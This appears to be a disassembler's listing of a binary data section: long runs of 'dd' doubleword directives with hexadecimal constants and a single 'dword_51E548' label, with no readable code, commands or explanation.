dd 0F127F0DAh, 3C3052ECh, 0FAD618A1h, 7D651805h, 0EB39109Eh dd 1E6F33Dh, 99A74EA2h, 0CEF4C38Eh, 1DCC0052h, 47DD2011h dd 0D44C1F16h, 810A0317h, 0C8AD71FAh, 0F1A9C7h, 0BE5F8026h dd 750CE9CFh, 0D14D9401h, 3207F4E1h, 0C81CDCh, 583A5303h dd 0A9CE7C25h, 2F843700h, 1190CB14h, 83E600B3h, 0EA5726DAh dd 5301417Fh, 51071E65h, 0D5F043E8h, 0E917009Fh, 5DA4EC6h dd 85E8E018h, 43CCF62Eh, 1491FC07h, 17356E30h, 76BC00B2h dd 0D889FEC3h, 0EE008B13h, 0B4DC7E33h, 1E82F0EBh, 6290B1h dd 993F0E08h, 0A000DACAh, 67D348C8h, 0C0F351C9h, 3F14D910h dd 9F0058CCh, 0FF2CB820h, 3A7D770h, 0BC4B32AEh, 7A88A1F1h dd 91012590h, 77F09C9Ah, 0EFFCADF3h, 0E11707BEh, 0B0FCB1C8h dd 0A6D265EBh, 9F7E1800h, 0C1FF8DDh, 8919007Bh, 86B229A1h dd 6001AB5Ah, 69C1A8DEh, 9CF036E1h, 0BF95004Ah, 6208037Fh dd 0EB13ECD3h, 300C654h dd 36644B68h, 0A2A9005Bh, 25EE21ABh, 0CA000140h, 65A82ACBh dd 8B2297h, 7E08E706h, 79BD4CF5h, 250F7000h, 0ADF799B5h dd 0FC3C00BFh, 0C5E7A75Eh, 0F600CC5Dh, 0AF61A24Bh, 0C3441Dh dd 0D82CDAB4h, 456AD340h, 0B5431E1Fh, 93ABECC0h, 7B597AF4h dd 718C00DBh, 62B48B2h, 0C905E873h, 4674ED33h, 0E308300h dd 0A9C0Bh, 5F042D11h, 0DA3C6663h, 7732C93Bh, 85C60218h dd 7BDB5078h, 6CF228h, 13786D45h, 3F3E7BEBh, 1F7A30C6h dd 66054CE4h, 7E4D9901h, 9DA7A534h, 0EA4036E9h, 7086AEA0h dd 6B6800B6h, 2B7BCC45h, 5730FE9Ah, 36176892h, 30C20D7h dd 0BC85D800h, 0D95F6344h, 19261E24h, 8957C072h, 9D602CB9h dd 6B00BBB8h, 30CC8FB1h, 7DBC4E8h, 7C43B75Eh, 27F340AFh dd 0AB3EC0FFh, 15A3CA6h, 0EC4C11D1h, 66C4C44Ah, 840F3C28h dd 2E0E4300h, 58B5A419h, 5FE88D00h, 7C6B475Ah, 78E50038h dd 2A57793Ch, 0F57C568Fh, 0FE6AF905h, 82FC8A86h, 339037Ch dd 0BF46126Fh, 0EC1006C9h, 893A244Eh, 35E7051Dh, 5C8087AFh dd 85FFA7h, 8AF0BC48h, 93725F5Ah, 7C461E00h, 0C3E07D58h dd 1BDD185Ch, 25B020D8h, 840065EEh, 2E88F177h, 0B89EB7h dd 39A1F657h, 8C5AC949h, 0DDAD8B0Ah, 0CA80DC94h, 0A24229FDh dd 0FFB8009Bh, 1B9F6433h, 0BE00088Ch, 2A1AE7E9h, 69B027h dd 0C51218E3h, 640C3290h, 410E20B8h, 4AD40467h, 803DA836h dd 6323F6A6h, 99148Ch, 8A5DDFA5h, 843E971Eh, 0D7CB2C00h dd 31CF0E93h, 0F87D02E1h, 5DAEE7AFh, 9BB154C0h, 39C9411Fh dd 0E191F640h, 0DCD006h, 0C73DBA65h, 483113ADh, 0B4D54400h dd 8AC80A6Bh, 0E4E10040h, 88A9AFF9h, 679853E6h, 8EFE2E00h dd 0F530F273h, 4C1D24B8h, 165B0EB0h, 0A97E0AC0h, 7A1395B5h dd 7AB5A62h, 30A4D988h, 89079313h, 0F7202F0Bh, 0A3490023h dd 0E919FFh, 0D15A6F36h, 637D5E73h, 31812100h, 914F6BFCh dd 2594385Dh, 0B3128C01h, 4082C6AAh, 0FA643EBAh, 919EDE01h dd 58752A22h, 0D4168F40h, 0C3F20124h, 0E3C45F08h, 0D7982040h dd 3E185575h, 1EA1D413h, 57B41CEDh, 0E1518784h, 6940205Bh dd 4A038571h, 0D4D8DD38h, 0BA37F0A4h, 38CCF4C5h, 50E04499h dd 8176FE3Ch, 25353900h, 5037AE6h, 766F287h, 0B8C56396h dd 84A620C2h, 0ED006437h, 20984590h, 0AC333Ah, 0C4099B29h dd 613B761Dh, 11F55100h, 189148D0h, 3A27055Fh, 82D13FE3h dd 3840B401h, 7B000A70h, 851B9464h, 1EE6AC5Bh, 310A5D2h dd 9776F8B4h, 4B126000h, 0CAEC1C3h, 300513E2h, 0A85C4027h dd 0B5B0B256h, 8B62F806h, 18D98Eh, 0EEE475F9h, 6DCD01A0h dd 5FC640BDh, 8C620751h, 916874D4h, 0C241D99Ch, 0ED398080h dd 91008D0Ah, 0F7FA6F2Ch, 491FF28Ch, 560F8490h, 8B66AB45h dd 650048CFh, 0A5C3EA10h, 22D9ED04h, 0DD3C1DF4h, 7840800Dh dd 0A82FBEC1h, 81FB012Dh, 5835D25Eh, 0A03E60E6h, 0D50F1900h dd 31CC94D4h, 78110071h, 45D8D53h, 0BEA08C34h, 0B3007056h dd 8A7EAEFDh, 1CE78201h, 403B2FCAh, 4EE8EE69h, 0A012FB05h dd 0DB006239h, 9384B29h, 31CA00D3h, 34DE2C77h, 0CDF85BCFh dd 41898800h, 6996E157h, 4DD0197Fh, 33C3B825h, 0CA3800B4h dd 88A070E0h, 847700C1h, 0E482662Eh, 13007B79h, 10242198h dd 0FFEA26h, 2F8CB45Ch, 88457758h, 0C108471Ch, 95696480h dd 7ECC29F0h, 378F075Ah, 0A092CD2Ah, 6B19D39Eh, 0ED8CFF1Ch dd 0BB67EF80h, 7138E6D5h, 18061253h, 9C05004Bh, 224E11BAh dd 2A695600h, 88EFB0BEh, 0E23800EEh, 5BFD777Bh, 0EAFE5528h dd 13E94703h, 993AF97Ah, 81309741h, 0A64B0090h, 87FD7F04h dd 0C101591Fh, 9A9FA428h, 0C7C8262Ah, 0DE9E008Dh, 970C2573h dd 0B30036E4h, 261B9D98h, 0C232A7h, 2A7CE9D9h, 52A9E7FCh dd 89289301h, 88771A6Bh, 0C44E8h, 0CAF3341Fh, 0AAA9472Eh dd 5438F500h, 0A4C59A1Bh, 0CB9B0766h, 0A026793Fh, 0C1EE3AB1h dd 462F4300h, 0FD6AF104h, 9B8F07CEh, 0A3C81A40h, 2190C36Bh dd 0CD78F21Bh, 0E4E67A00h, 0DC9EB1B9h, 0CCAE33C5h, 0C1882748h dd 42002012h, 671A5E31h, 0F390E8h, 0FE405D04h, 52F8DBDCh dd 9178CB0Eh, 0B919208Ah, 0E0A5D962h, 879300B4h, 2F713D31h dd 1C005C53h, 55C32937h, 7CD4D73h, 0F0560384h, 0C1EAA0ABh dd 18F6D27Bh, 0B8C0F37Ah, 79A7B82Ah, 7F2E0058h, 5335BD57h dd 19287134h, 0DE5C6024h, 8D95052Bh, 9400C6ADh, 8C942A99h dd 1FC500D3h, 0C419BD85h, 5D00C7E9h, 0D8200D23h, 604A6482h dd 4EF630EAh, 0FEA0C345h, 36780E58h, 0FBC49E1Fh, 9887C0C1h dd 0DFE89467h, 6ED6002Ch, 0D53A8FDEh, 0CE0046C2h, 0BBAD5C7Ah dd 0EA0D0Fh, 370391EBh, 0F4B2DEF9h, 8386BD3Ch, 0F1437C01h dd 0BC00AFC9h, 0C56C2Dh, 0D8F6DD89h, 3A0D13B1h, 0A4213900h dd 0EB183C73h, 1C560FECh, 5C60B37Bh, 0F4253F13h, 46046000h dd 4EDF1AE5h, 22A50773h, 9A5A7964h, 230E01B4h, 0E8C5B26Ah dd 0A703E4E7h, 97E9611h, 0A513804Eh, 432926E0h, 9CAC004Ah dd 1A355CF3h, 5200187Eh, 2389C09Bh, 0EE2F14h, 0F7B47473h dd 0DD5E0FAEh, 2476847Ah, 0B9BA4600h, 324EEBDEh, 0A45400EAh dd 9AD2726h, 0E2010FCDh, 84D47D77h, 78BA4ADCh, 0A3D69301h dd 4AD3B475h, 9DBB05FCh, 49809111h, 281F4Eh, 0A1AABAADh dd 9B5EB216h, 98067E09h, 55FC0019h, 285C282h, 0CED6CC9h dd 5040F05Eh, 0A1C633Dh, 94C3F4E2h, 0B0A2142Ah, 0D5DF6h dd 6FC3ECFBh, 13BE86EEh, 15213D00h, 8E312A5h, 95180071h dd 53D98FE8h, 0CB00997Bh, 0AE7745FFh, 164AB31h, 88D0B265h dd 431CA09Fh, 0C8D8FAB4h, 2471FB50h, 9A00E8B8h, 20E222DBh dd 0FD17D080h, 17230h, 14DACB62h, 8C074AA6h, 0D39082A1h dd 33B830E0h, 80D1BC00h, 5E188519h, 83103E9Eh, 7A67DB00h dd 8A230FE7h, 41CCD600h, 0D738161Ch, 835E00BFh, 971D24A5h dd 6009C4Eh, 15D15D86h, 732745h, 703B38B4h, 9EC1D6FFh dd 7CC04C00h, 1FEB0A40h, 0C7DB3F43h, 7A557700h, 0E4E0347h dd 90AB7B00h, 172A7294h, 0E9AE0075h, 0D9F68BA4h, 18F03363h dd 9A2F7F1Dh, 0BD00E72Ch, 0E53FBBBEh, 0D9CE007Bh, 8B2CA5ADh dd 0E00CCA3h, 0A4233684h, 0E86694Ah, 17B87330h, 966A783h dd 0E5C31190h, 0F112E0B8h, 0EC004CDFh, 0EB63F06Ah, 55401E2h dd 0E7AE832Fh, 0C303CC98h, 89850A1Dh, 0F34062DEh, 2AF4DAD1h dd 74C50040h, 0DDDE7B80h, 1501990Fh, 92D88D5Bh, 0AEF49CF9h dd 0D77000BEh, 0ED7E52ECh, 120018ABh, 9E11FEA7h, 0E53031Ch dd 56DDB9A8h, 0D2374707h, 906E2435h, 8005983Dh, 5A117BB4h dd 168182A1h, 0E66F7h, 0C1E9D691h, 0EC1271F8h, 4B0F5AD2h dd 44AEC0BEh, 23DB1Fh, 25DDE539h, 6615400Bh, 0B29AF805h dd 5584E398h, 0C2E1F7C0h, 0B0637719h, 0B290D9h, 9FB32D3Eh dd 93A25CADh, 5049921Ch, 117FEF80h, 99D94Bh, 0F51A5130h dd 206FDDBCh, 8C1E967Dh, 0EDC0339Bh, 3504FFC8h, 0A8500021h dd 7B724C2Eh, 0BF00A0FDh, 12CD03D4h, 8A7924h, 0F3623D3Fh dd 0CA5C0706h, 29206B18h, 611050h, 0B6778FE5h, 0D96A175Ah dd 92A45600h, 0FF854FDFh, 89433CBFh, 3ADFB1Fh, 730CAF96h dd 3478DCE1h, 6870F8D8h, 5CA040EDh, 9E00EB44h, 0BB4BD843h dd 0AA827Ah, 0E82205E5h, 99C439FBh, 6407DB00h, 0B1EA6FA3h dd 0A4A0635h, 86197C9Bh dd 0F0C69A61h, 60B92FE8h, 0C58500F6h, 8D5E60CDh, 533A84A2h dd 0A3B30680h, 7894A9Eh, 0C5FE5BCAh, 3A5DF050h, 4E3A1497h dd 0DFD80752h, 4FC323B4h, 0EB103FAAh, 98CA80F7h, 4E62F100h dd 8ADE10EDh, 0C35D48F5h, 57140E00h, 0A75C67F2h, 0DB4A030Fh dd 649BB12h, 691DED58h, 7F7D98F0h, 5A3B215h, 0BF7E2148h dd 0D3B5F141h, 4003A6D9h, 0A23E0214h, 9254D900h, 3AD5A4E8h dd 73BB009Ch, 36E7DECAh, 0B0033ABh, 4393C2Ah, 3EB323h dd 0C609601Bh, 51053164h, 0EF473000h, 2DA4C35Bh, 0D182008Ch dd 27211A12h, 8F00DC28h, 0FA0C60A9h, 3C939EFh, 86D52E4Bh dd 94D0FB8Ah, 34006B58h, 25C6A772h, 2C683Eh, 0E59871AEh dd 163090E9h, 0CF42FC00h, 61775204h, 1C5700E2h, 1E785C65h dd 28001689h, 4FD3A406h, 9F6A07h, 0CF3C24CEh, 0B80C7D74h dd 80231C0Fh, 0AD6140C7h, 0D3F052h, 0E1B34DCEh, 0B9FBAE6Fh dd 3E0D2A00h, 9F2F6CD4h, 888100F8h, 2637D801h, 711D1F70h dd 51C0AFA2h, 4D434803h, 45F40089h, 3F80546Ch, 0E700F8F9h dd 48305E9Ah, 0E05C7534h, 27192928h, 0ABB66120h, 7F810C46h dd 77892A70h, 0FE4F00D0h, 0CCA287F8h, 0CB33C5C7h, 410808h dd 0F3766551h, 9AEFF1C3h, 4B39DE00h, 6D91221Eh, 0F03614BEh dd 2935A2DCh, 0A7808051h, 1560192Ah, 73844AE8h, 2054617Ch dd 243EF1C6h, 2D00D27Ch, 5028246Eh, 13A12BAh, 534B9117h dd 809542E5h, 0BD9DF981h, 0AB243D2Ah, 4550109Ch, 5513034Bh dd 0BE3AFBD5h, 0B5510010h, 0AFE832D9h, 0F031FE5Ch, 50C2087Fh dd 9D2F2080h, 0A3F24D9h, 0DD070972h, 6EEF57AEh, 642A80D8h dd 0D75CC74Dh, 7420EA19h, 0D50CCCB9h, 134A873Bh, 14208854h dd 24305DCBh, 0B23D9h, 0E2566C49h, 0EA06421Ah, 3A451C06h dd 41E0DD41h, 8013E133h, 2CE9BE2Bh, 0B0006A73h, 77A5247Bh dd 82766D2h, 12003948h, 0E2D17A56h, 544C84h, 0AD45679Ah dd 293BBDD3h, 21F7A600h, 9E18A1Ah, 8CE25655h, 3FD98E02h dd 0C131B7E8h, 0D99A3010h, 0DCD7DB00h, 0D87B8625h, 0E7971840h dd 9CC5E121h, 1C232D00h, 0CB84729h, 0B610325h, 0CE67B7B1h dd 91DB79F9h, 0B182E978h, 51E23ED9h, 8AA3C81Ch, 777C2076h dd 3CC3A500h, 0E1CE5DAh, 38B83070h, 632CF149h, 60011324h dd 3B5A4674h, 0AA4C01F6h, 0A57A2289h, 73EF598Ah, 0FAB58EFCh dd 0C8B94CA0h, 18F8495Ah, 0D8FBFF2Ah, 0CA8C3400h, 2D946297h dd 59F1133Ch, 7809EF9Bh, 0C4E001F7h, 60581D0h, 0E1C56550h dd 7FA80F00h, 42B60602h, 3FE80023h, 9A6E044Fh, 61C02758h dd 0D638F814h, 97FA064Eh, 883A73Ch, 67210C60h, 0A33881h dd 6E619BB9h, 0D3AB0D49h, 0A61A3200h, 15C63D4Dh, 4B08C358h dd 895C7F7h, 8C20F94h, 0FC30C1F8h, 89449458h, 0B3F8C06Fh dd 0DADEAD00h, 0EC6D8EB0h, 4E4A4C0Dh, 1158886Ah, 7A54878Bh dd 314C7B92h, 4A5910C7h, 4D1B0F7Ah, 0B2636E62h, 70F04124h dd 236452A6h, 30888998h, 29FB0079h, 1890962Ch, 0BE263384h dd 820361ACh, 0D0F0F988h, 0AC996E69h, 3897029Ch, 93724EFDh dd 1A10FE19h, 0AB00357Fh, 2892A6CDh, 0E4FBE01Dh, 1D7B899h dd 0DFA03CB4h, 515EEB33h, 804F89D8h, 0FFDB2591h, 0FB2B8Eh dd 480C8158h, 97A765E7h, 0B145A50Fh, 0CE0F40A3h, 38EF8D69h dd 0BA1466E9h, 8123940Eh, 8D7A4201h, 0E181C7Bh, 3031388h dd 0E52C617Ah, 810726EFh, 3DB8842Eh, 884C997Ch, 9048E2FFh dd 29DA00B0h, 0E7028083h, 0BE2509C3h, 30936F95h, 90A7908Fh dd 3E4CE2BFh, 23FDE994h, 0DB0DCB0Ch, 59D25B99h, 7C17A41h dd 0B288E8EFh, 0BBA6099Ch, 0C8935A6Dh, 0A90E79DBh, 202D60E6h dd 0F7B19435h, 0D90400A6h, 11147E9Dh, 103EB52h, 0F8255E9Fh dd 7A610FDBh, 0E46309F1h, 490351DEh, 12A16DAFh, 0F2100155h dd 82618831h, 9743107h, 6633F0DCh, 8BB0544Ch, 0A4818F6h dd 3D7400D8h, 0A24F0FC9h, 0E9014805h, 37E0598Ch, 0C880AC96h dd 32C2A47h, 721FF665h, 4FC3A9B1h, 0E88BC76Fh, 7CCC4522h dd 9F29000Fh, 0E181D344h, 0C9F0AF38h, 2AE48C00h, 0C8FC40F2h dd 0C3C10E78h, 0B38C5685h, 0CBF80F20h, 80748C00h, 3FFE61E4h dd 374900DAh, 4A202C83h, 0DB0FEA51h, 20AD247Fh, 140863BAh dd 0EC7A28C4h, 0DE80C0E6h, 3946B505h, 0F86E3807h, 4EE0DB7Eh dd 7CA3195h, 242AC6DFh, 6F005E9Dh, 0F60FC102h, 57E7B500h dd 0F4EB8A66h, 0CF910034h, 73E6C4E9h, 587607A1h, 78E3AC4Ch dd 9F6EC000h, 89887769h, 62D0E98h, 0D471467h, 36E480CFh dd 9EE4E6AAh, 0EE00D672h, 2A1875Bh, 1AA9BBh, 0EC1BFA57h dd 0A2B8E2E5h, 16B56C00h, 0AC0AEE5Ah, 0C804095Fh, 0BD85EACDh dd 0D346C092h, 4A00B21Ah, 0B3D85C30h, 4CDB02h, 0B1348FAEh dd 102769F4h, 40DA0530h, 20CA4160h, 0A82056EAh, 58260082h dd 1B4FB4F2h, 55006594h, 98975E3Dh, 240769EEh, 62B64Ch dd 2E2034A2h, 0F018D49Eh, 0DF8072E0h, 8DDA0C3h, 62FE00D5h dd 132984A5h, 9400DD24h, 0F31023BAh, 2A2BB4h, 0A2F5B77Ch dd 0F70D91B0h, 0EFC9D305h, 0C00032BCh, 0BB693B4Eh, 0D2E228h dd 7C3C4B4h, 2DD96FE0h, 0CF3C2DB8h, 0E87100E7h, 248AA6FBh dd 1B734Ah, 2248A93Eh, 278CA7FFh, 93B8F61Dh, 80763BBAh dd 0EE4D7E13h, 0B457E6h, 0BDF4CB42h, 4785F250h, 97401660h dd 0F0ED453Bh, 338C0EF6h, 6E20A16Ch, 7279A744h, 8B3480C0h dd 9225D70Ch, 9A6B2800h, 0C92400A0h, 0A34EA52Eh, 0D23E844Fh dd 2FC38077h, 0EF1B89FFh, 8BC1C471h, 39A1800Eh, 2218C262h dd 3E403FBBh, 452800AAh, 49588946h, 4D0C090Ch, 0C13CE9F7h dd 0DDDF1EF6h, 0DC80765h, 4B7F0089h, 9A00E67Dh, 5F0B1718h dd 79978E49h, 3ABD1E37h, 0BB6E4082h, 0C5758F6Bh, 0FA165200h dd 5468B103h, 847950h, 4A6B80F8h, 3FDA1BCEh, 0BC153D0Fh dd 0C34D4069h, 675AD65Fh, 10A04093h, 0D2831B08h, 0BD7F9100h dd 0A1105C79h, 9B2E0E9Ah, 1B208636h, 288E85D0h, 3B485E03h dd 753A1E9h, 0C7202DC0h, 862FB04Fh, 20F3FADEh, 965811ECh dd 81280125h, 7930D1E2h, 2A87088Dh, 63C88020h, 71984469h dd 1BC100AAh, 0C584817Ah, 28987C22h, 0DCDB7600h, 0C9B4F69Bh dd 38DF71h, 0C7D38849h, 1A0C52BCh, 87EC585h, 7F21C04Dh dd 0A471D6F0h, 0DDF5AA0Fh, 80CC06EFh, 56830079h, 0B5CA7BF1h dd 0BC00572Dh, 0F9B8AA6Fh, 8BD0DDh, 4162C64Bh, 7ACE79ADh dd 6FC988C0h, 1C513239h, 8C91C2A1h, 6B08C3FAh, 0BE4F21C0h dd 1E190Fh, 53FDE65h, 2609BB3Dh, 99233130h, 0A4D8D0CAh dd 93451880h, 241C98A9h, 7E5738h, 4A58A8F9h, 0F8E36A3h dd 0AFC42947h, 0EA9C8140h, 2F3DC807h, 0D32580ACh, 337B82C1h dd 0CC204DF7h, 5E35BC00h, 0A6BE1DD8h, 5DF80D00h, 62EAC98h dd 0F2393C12h, 0A1EFD0Ch, 5605B5ACh, 21590386h, 219B202Ch dd 0C4A09931h, 5101A946h, 0BABC38D3h, 0C0410C17h, 0D3598451h dd 360058EDh, 973D90D8h, 3F2EAFh, 765319Fh, 25C0765Bh dd 0E92931C0h, 38ABAA8h, 71657F01h, 82C7A4Ch, 8C80303Dh dd 0B299BAA9h, 0BDC000B0h, 8613FF2Dh, 5700D4ACh, 30927AF4h dd 2CA22C05h, 39141660h, 58B171FEh, 0BE0054D1h, 3ED65EFDh dd 0C530BC36h, 0FC4F1867h, 0CE1E009Eh, 3406C271h, 84A0116Eh dd 2E06A387h, 4E0238C9h, 5C7BF2F9h, 0F51BDC72h, 193140D7h dd 26BFD029h, 0BA04130Ch dword_51E548 dd 63870189h, 7F209832h, 1209BA0Ch, 4081DE82h, 0ADACA60Ch dd 0DC03A761h, 3E77F197h, 3584985Dh, 3207007Bh, 0CF3AFDC4h dd 13D8745h, 0C39A0ECh, 0DBDEB82Eh, 361A72B8h, 17A119D4h dd 80B4114Ch, 1CA1E379h, 88934801h, 182E13h, 44BE0E44h dd 0A501296Dh, 60781E07h, 27F0AB48h, 0D356010Bh, 3752CA8Eh dd 7DB06B2Ah, 66F2A6h, 3AF83EFCh, 832789EBh, 6A7DCB00h dd 1F2EAE5Bh, 5C4373D1h, 0FC000DF2h, 0CA208E54h, 0EA1ED333h dd 375608D7h, 45B62906h, 639D0B18h, 0D200A043h, 0D997B1F9h dd 0D399D703h, 88522741h, 0C05CDA0Fh, 82A30888h, 0A9005E3Ah dd 39C98D71h, 7C8BEF80h, 0C17503D2h, 0FB0EEC8Ah, 605B9391h dd 366F819Ah, 94C44068h, 321FF9h, 9EED6BF1h, 2277B165h dd 0D2A74100h, 0B63FBA1Bh, 1594005Fh, 392792E3h, 4400C44Bh dd 172EF2FBh, 20B91AAh, 26430918h, 90A1868Fh, 60689203h dd 0F80E7634h, 40C8CB48h, 75DD9135h, 0F6D6016Ch, 0D9B4EF2Bh dd 9490814Dh, 0F769E564h, 0E880BC61h, 88B5AB44h, 1C03C936h dd 7EBA06D5h, 0F891FB34h, 0E9BA89Ah, 0C9B99707h, 3CD0C780h dd 69017A6Fh, 9D90B67Bh, 898B742h, 2E1C21C5h, 4ACF7800h dd 7ABD77A2h, 0A8CC00A5h, 9C7FFD7Dh, 3A00C64Fh, 0E70E5CD0h dd 1D20C3Eh, 7CE14C20h, 0D1CE5868h, 76FD10CCh, 1A9D0009h dd 0ED8EF6DCh, 0A7180C88h, 0B9507C60h, 7C20549h, 2051D181h dd 1B09612Ch, 0CE842010h, 0A880C4C8h, 72DC0975h, 0D36C070Bh dd 0E30A2BE5h, 32902342h, 0B500F158h, 0CF4BDB8h, 80D11CE8h dd 6E0799C7h, 0B5CDBFF5h, 0B009EC03h, 0F0731CE7h, 9C951826h dd 8AB0285Dh, 2E1ECB00h, 29F1925Ch, 602F74E4h, 736949ACh dd 0CBF134CBh, 98003DF3h, 0A4855536h, 0C0A194BDh, 0D8651549h dd 90247A6Bh, 6C002641h, 438EEF98h, 0A0BF3DDCh, 9C83E703h dd 0F0A8050Fh, 3D0A8DB5h, 0C8731A6Bh, 802E5C00h, 3AD51D8h dd 0F6C97D83h, 0A57CB1h, 0DC8B4F10h, 170BF7B4h, 83F88A06h dd 910C44A1h, 7047CC95h, 3C0E4C01h, 0F5201080h, 0EC92AB61h dd 4D9A9401h, 87488B31h, 0ECC708CCh, 0F8F0081h, 3F5C7DBBh dd 20002C6Fh, 0F61C30B4h, 1AB343Bh, 37C1B6A8h, 0DE81D12Dh dd 0E66BAD00h, 0C57D5C0Ah, 0CAAB2E00h, 1CA62938h, 8C47320Eh dd 2418A019h, 11FD496h, 63EAD5B4h, 0F817B181h, 76197DE2h dd 8251A8ADh, 3D81044Ah, 0F0AFF821h, 8703C80Ah, 0DBF0911Fh dd 8C89B1B3h, 0CDECA8D9h, 753CFA3Bh, 0E2093EF3h, 0A95729E2h dd 94A38823h, 44CA4304h, 915EFCD0h, 94E119A8h, 14407751h dd 14A10747h, 283FF06Eh, 4E937B00h, 91B49976h, 0E62B4800h dd 81FF1095h, 11E8B7h, 43D5068h, 836BAC14h, 0CB8F4500h dd 3BE0BE5Ch, 0F75A3F9Fh, 12A34C81h, 70A846E4h, 5000CCD3h dd 9A5470B2h, 0E09328E7h, 0C9130058h, 0F0C51F67h, 6F3B945Ah dd 0DF3B7CE8h, 793D803Ah, 0A7432E11h, 0D8C600A8h, 52883F5Fh dd 16002BADh, 0B9FE7436h, 0E615E85h, 6D56918Bh, 73F0A961h dd 0BFBDE006h, 550C2A00h, 352DE9A7h, 0C08600B8h, 0E337321Ah dd 1600ECF6h, 45EA9BBDh, 50279621h, 57F702h, 0DB446F24h dd 0F7E938F4h, 8D09F900h, 9330E308h, 70640522h, 8010AB21h dd 0ED689721h, 3E4F100h, 41B54780h, 28F600E9h, 44F5850h dd 0C10197C4h, 2A2D5786h, 0F1604ADDh, 353900D2h, 6F6DF93Bh dd 8107B89Dh, 3075567Eh, 5DE0AAF0h, 531F0051h, 0D0F2DD17h dd 6400F693h, 552747C5h, 99CF8Eh, 4E498A61h, 2FDA760Ch dd 53720901h, 70AAE77Ch, 6A44AC40h, 962D00E1h, 3978799Bh dd 0E5F9C710h, 80A8BB0Eh, 32354D0Ch, 512F64h, 2CE37E98h dd 88FAEA8h, 0B8A6DB03h, 78FD40B6h, 0E34E0030h, 3F15EE4Dh dd 0D0080DEh, 0A84A7A35h, 0D72B6Ch, 0CAAAB28Dh, 4C74BC91h dd 47FCE600h, 78DECFBEh, 0CDF0C014h, 0B72355DCh, 48FE44E4h dd 11018074h, 5AD2601Ch, 0DC803AE0h, 0AC9AEADh, 6A006FE1h dd 0DF866858h, 7E77537h, 5001F093h, 69FB70C2h, 4300199Ah dd 130DECB7h, 0F606B57Bh, 4863070Bh, 9091C871h, 0F925B157h dd 0D789D563h, 0B601801Ah, 7715002Eh, 0E9088AE7h, 0F0018F42h dd 0F486F16Bh, 26C8D5D2h, 4D2400AEh, 8ADF3F45h, 9F2C9CFDh dd 13AE680h, 0CA71C4DBh, 852085EFh, 16761Bh, 0A22BB328h dd 8324A425h, 0AA754675h, 7033FB00h, 358777E5h, 0DBA5002Ah dd 83D15867h, 7B1F039Ah, 291FF823h, 0F37880BDh, 3F10D0C2h dd 70E0F5C0h, 0CF8A0027h, 0BA2026B4h, 0EA037CEEh, 0A8493DD8h dd 0B068E07Ah, 0B805E4D9h, 6BAE0042h, 453074Eh, 601C9F8Bh dd 729F353Eh, 0BD79FB80h, 684357h, 0C0E9A42Bh, 0EAE5569Fh dd 110DF600h, 0A9FC3D7Ch, 0ACE8CAh, 196EBB10h, 85133887h dd 0CC969F00h, 57510473h, 77C3ABCh, 2B02A580h, 1B78327Fh dd 7A38D090h, 0DC8987C8h, 7501F957h, 0C0FFEA0Eh, 96A5A8h dd 0BC285B92h, 514C9B22h, 6DF7200h, 2EB7F4D9h, 7A390107h dd 0D2BDAA5Ch, 0FD4CC8DBh, 3AE84300h, 0D3D9DDA3h, 839400D8h dd 9F936859h, 0C303806Ch, 7FC20CBh, 76660F4Bh, 0A1E07C57h dd 684775B8h, 0F700ECF0h, 125598CDh, 0B003D1BFh, 0D6FE00C2h dd 0C6AD1080h, 0E04C90Ah, 53ED9F22h, 0E2155480h, 0EA3C0059h dd 2ECD318Dh, 9473FEC1h, 8C2D2A28h, 0E8A1438h, 0A182F683h dd 479BA06Fh, 2C46C6h, 0F75D246Eh, 602C2D56h, 0CDEB900h dd 107E67E3h, 2375007Dh, 0DAA4EAC7h, 0FE39AEDDh, 27A900C8h dd 0CC6E5583h, 0F3C00D4h, 0F58FE387h, 0D9008B3Ah, 1A9ACD63h dd 9BF792h, 40A5DB61h, 0C7030A80h, 0ADE37400h, 71D49D6Eh dd 0D9C51F89h, 0C168061h, 63391AE0h, 0BD3FEC1Fh, 2F3201B8h dd 2C30F4B2h, 6AD0EFC5h, 0FDD30019h, 0E75E6DCAh, 0B9FC69E2h dd 7B768676h, 470A9200h, 5F229571h, 151A0028h, 14A810CFh dd 2A000FD1h, 0E55802FAh, 0EB7D4h, 0CAFC3E56h, 5C63B332h dd 97696800h, 1F1A64B2h, 317D9Eh, 4326BFD0h, 0E762EE07h dd 4276A26h, 6E8EB201h, 0BCDC91C0h, 1AD200F0h, 8F1FCF9Fh dd 97009971h, 0FE797CF4h, 7A0D3Fh, 65B228Dh, 0BE6DB452h dd 2A123700h, 0D928A4E8h, 50820062h, 0D8C74638h, 0CD007B6Ch dd 0D74FCE41h, 3ECA965h, 0F41D02A6h, 2588E710h, 8D005240h dd 0F5CBF146h, 8B72E5h, 730519ECh, 1F2F4748h, 3D495712h dd 0DBB76F02h, 956C40EEh, 0FE2A009Bh, 73F29F44h, 0D577A117h dd 8016933Bh, 53DCFC36h, 1EA2E009h, 0C0CEEC96h, 4707E814h dd 1900B3F7h, 78F6AFB9h, 72F153C0h, 363E00D3h, 0DB625F10h dd 810086ACh, 6776FA68h, 12D3F8FEh, 0AFF746h, 2E667D4Ch dd 0EC00495Bh, 94E70E7Ch, 9D2A42h, 0D188EDAh, 7AD7244h dd 0C65B600h, 0D190CA16h, 46771D9Bh, 0A0C98041h, 9C0A6EBDh dd 7AE6D91Eh, 1A514281h, 49E69EFAh, 0DD70DD70h, 0AFA90012h dd 97BFA3B3h, 0D05A162h, 5FA76B98h, 3532F9C0h, 378909D0h dd 9C205BC7h, 17AAFA6Dh, 6F623Ch, 714C7083h, 7679E239h dd 5021051Ch, 0B1A4EBEFh, 0B79FD458h, 0F0F7C60Ch, 3D4B1808h dd 1E0102D5h, 200BE124h, 6900302Ah, 82E0FA38h, 0E211CBDBh dd 0C61340C8h, 4F1300B0h, 0B6AE1E63h, 153EA704h, 0ADBE00EDh dd 56777B1Ch, 70F004EFh, 0C04858FEh, 5EA5ECC2h, 4AD9AA00h dd 0C79C115Ch, 5D330635h, 0AEC56F6Eh, 0BD3A5500h, 869313E8h dd 0E4F90395h, 9D06CEFAh dd 0CBBE10FFh, 173F3CCDh, 0E1A3001Dh, 0FF1E73F3h, 0A51F0072h dd 0C1AF124h, 822C8F04h, 0CC00E827h, 9D5D0845h, 0D7B400ACh dd 0BAF6F30Eh, 871EFDE1h, 89C0D54Fh, 0F997766Ch, 40C1A2E5h dd 3984CD2Ah, 6BCCB868h, 0B29E7207h, 2DC42014h, 9C2AFA62h dd 0EB2CC0ADh, 0A743903Ch, 0E90A1AFh, 9260AC40h, 5FBA1D44h dd 7C45007Dh, 0C0C6A9D3h, 96AAE300h, 0F5584CDEh, 36A51C8Eh dd 0F67B008Dh, 